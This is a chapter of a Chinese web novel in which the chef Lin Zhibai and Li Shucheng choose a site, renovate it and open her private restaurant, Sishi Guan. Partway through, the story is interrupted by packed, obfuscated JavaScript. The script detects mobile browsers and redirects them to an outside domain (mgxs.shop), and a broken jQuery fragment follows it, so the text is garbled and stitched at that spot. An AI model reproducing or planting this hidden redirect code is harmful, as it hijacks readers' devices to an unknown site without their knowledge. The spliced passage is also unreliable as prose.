林知白拖着行李箱在空座位坐下，这边机场内部有林老师家茶社的分店，林知白去捧了个场，拍了茶点照发给了林老师，配文“香！”
林老师回了她一个可爱馒头点赞表情包。
林知白懒散的刷着手机，这次从南京回去，她打算开个私房菜馆，沉淀下她的厨艺。
年少成名，于厨一道她极有天赋，可师傅总说她走的太飘，得踏下心来，菜做的再好，没有人情味儿怎么行？
她还记得师傅叹气的模样，小老太太眉毛蹙的老高，跟她苦口婆心：“你从小跟着我学做菜，是，你做的很好。可是知白，你做的菜没有灵魂。你的道是什么呢？”
老太太一锤定音：“祖先怎么开酒楼，你就怎么开饭馆。找一找你自己的道。”
菜是做给人吃的，在人间烟火里总能沉淀一些。这些年她东奔西跑，其实和做博主的时候也什么两样，她想找一个地方，安静的过着她的生活。
林知白刷着手机，在选址上犯了难。她开在哪呢？
思来想去，她用手指虚虚的点在地图上，她选了岛城。
岛城临海，风是带一点湿润的，不像内陆那么干燥。城市高速发展，高楼林立，繁华的三色光夜晚不知疲倦的照着，回家的人便感觉并不孤独。站在岛城的一角，哪怕是盛气凌人的人，难免也显出一两分可爱。
恰逢李书成暑假，两人围着岛城反复细审这座沿海小城，做了小半个月功课。
八月的岛城温度还很高，没有风的时候城区闷热黏糊，衣服紧贴着皮肤。她撑着遮阳伞站在树荫下，他拿着一张房源信息单挨个打电话。她去买了两杯柠檬水，递给他一杯，他接过来放在一边没顾上喝，冰都化了。走了一路终于到了房东说的店面，结果发现特别破，墙上还有前任租户留下的油污。
李书成说这个不行，她说但是厨房够大。两个人站在空荡荡的店里想想未来。
又看了几家，都不太满意。最后林知白拍板，就选在她们小区附近街道的门市房！
李书成指着本子上罗列的地点说，“可是这人流明显更好。”
林知白得意忘形，“你知道为什么咱俩出门大家都觉得咱俩是同龄人吗？”
“为什么？”李书成觉得她没憋好话。
果然这人更得意了，“因为——想的少！”她理直气壮，“咱这多好啊，离家近，我一会儿就回来了。你说的那那么远，我还得倒地铁呢。”
李书成想了想，确实，等他开学了不在家，她一个人晚上走也不放心。
选址完了是装修。
李书成打印了一大堆概念图，铺在客厅的桌子上，叫林知白来看。
这张乌漆嘛黑的，那张不好看，下一张厨房太小，下下张还以为她卖西餐呢……
林知白看一张丢一张，到最后体验了一把彩楼评诗的好风光。
她手肘撑着脑袋，忧愁的叹了一口气，“唉——”
调子拖了老长，李书成眉心狠狠一跳，果然下一秒，“小李子，哀家看咱这私房菜馆一事……”
李书成无语的看了看天花板，“这已经是您第三百九十二次想拖延了林娘娘。”
林知白烦恼的抚了抚额头：“罢了罢了，哀家就……”
李书成嘴角微弯，告诉她一个残酷的事实，“您师傅说了，她老人家会不定期来视察的。”
林知白把自己放空歪倒在沙发上：“Oh,no——”
两人做了一个周的功课，又把市里的装修公司走了一遍，最后决定装新中式的风格。
老祖宗传下来的菜色，自然是在中式风格里和谐自然。
敲定了装修，店里叮当咣啷的开始响。桌椅搬进来那天，林知白去看了。空荡荡的店面，一点一点被填满菜馆的气息。厨房很大，她可以把她喜欢的厨具都摆上。再买个烤箱，哪天来了兴致露一手，做些糕点卖。锅还没热过，灶还是新的。但她好像看到以后这里会有很多菜，很多客人。到时食客坐在外面，她可以透过厨房的玻璃观察他们吃的好不好。或者下午的时候倚在柜台边，她可以透过玻璃大门看到外面形形色色的过路人。这样的生活，想想还不错。
三年前做鱼的大师傅问她，“知白，属于你的厨道是什么？”那时候她答不上来。现在她站在自己的厨房里，还是答不上来。但她不急，她知道答案会在这间厨房里慢慢长出来。
李书成问她要不要去算个店名。林知白震惊的看着他，“书成啊，未来的博士生怎么能这么迷信嘞？”
响了一个周，来往的行人路过都看一眼，林知白特意往门口摆了个大牌子——私房菜馆装修，届时欢迎品尝。
象牙白色宣纸温润，墨字圆润秀雅，如行云流水。
路过的老大爷看着牌子啧啧称奇，问店里的装修工，“这牌子上的字是谁写的？”
装修工挠挠头，指着坐在阴凉处监工的李书成，对着老大爷说：“俺不知道，主家在那，你问主家吧。”
老大爷顺着装修工指的方向看了一眼，小伙子骨相端正，舒展清爽的长相，带着些许沉稳的书卷气。“小伙子，这是你写的？”他走过去，指了指牌子上的字。
李书成站起来摇了摇头，“不是，我姐写的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841614|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老大爷点点头，没说什么。
“她现在不在，我们下周二开业，您可以来尝尝。”李书成看着老大爷离开的背影，脑海里浮现出那日林知白在书房里翻箱倒柜，然后搬出一套笔墨纸砚来。
她身体微俯，持笔取墨，悬腕悬肘。字迹珠圆玉润，藏锋内敛。他从来不知道她会写毛笔字，而且写的这样的好。
他不懂书法，后来偷偷拍了照片上网上查了下，才知道这是赵体。她写的行云流水，他这样不懂行的人，都能从那笔画圆润的转折里看见她这个人。
她好像一直是这样，从来不显耀自己有什么，温润柔和的像她的字一样，可筋骨暗蓄，内里自带锋芒。
他问她为什么叫四时馆，她弯弯眼，“不时不食，做菜要和四时。”她总是很有道理。
鞭炮爆竹噼里啪啦的放，几个小孩捂着耳朵从巷口跑过去，隔壁杂货铺的老板娘站在门口看，之前夸她字好的老大爷也来了，背着手站在人群里，眯着眼看匾上的字，问她得空能不能给他写一幅，她说好。她也曾有这样的时候，央着书法家伯伯给她往平安符上写朱砂字。门前法桐高大，红绸一揭，木制牌匾上的字刚健含婀娜——四时馆。
没有宣传，没有发布视频，没有利用她美食博主的任何资源，四时馆热闹又安静的开业了。
林知白看着她亲手写的字被匠人摹刻成匾，高挂在门头。这是属于她的菜馆。她会和她的菜馆，热闹又安静的过完每一个四季。
开业前一天傍晚，她去看匠人上匾。匾被红绸蒙着，她站在梯子下面看着匠人校准水平。匠人问她这字是谁写的，她笑笑没答。她练字也是师傅领进门的，小时候师傅让她选字帖，她觉得赵体的“林”字最好看，于是天天月月年年习的都是赵体。匠人说这是松雪笔法，写的人有功底。她摸了摸木匾边缘，说这是我师傅教的。
五年前她在许奶奶家的厨房里做秋藕，师傅说她做的菜没有灵魂。现在她站在属于自己的菜馆门口，看着匾被挂上去，她终于有了自己的归宿。
林知白依言请了周容来剪彩，林彦钧走不开，让助理送来了开业礼，一排排花篮摆上，倒有些热闹的气派。
助理指挥着花店的人摆好花篮，转身对林知白恭敬道：“林总走不开，委托我来贺您开业。”
周容笑着拿着剪刀，“幸好我还没走，老妈叫我买了机票，早早的回澳洲。”她朝着剪刀吹了口气，做了一个夸张的动作，把周围人逗笑，“不然怎么能来给你剪彩。”
然后她剪断红绸，转头对围观的人群说，“这家店的菜好吃，我吃过。”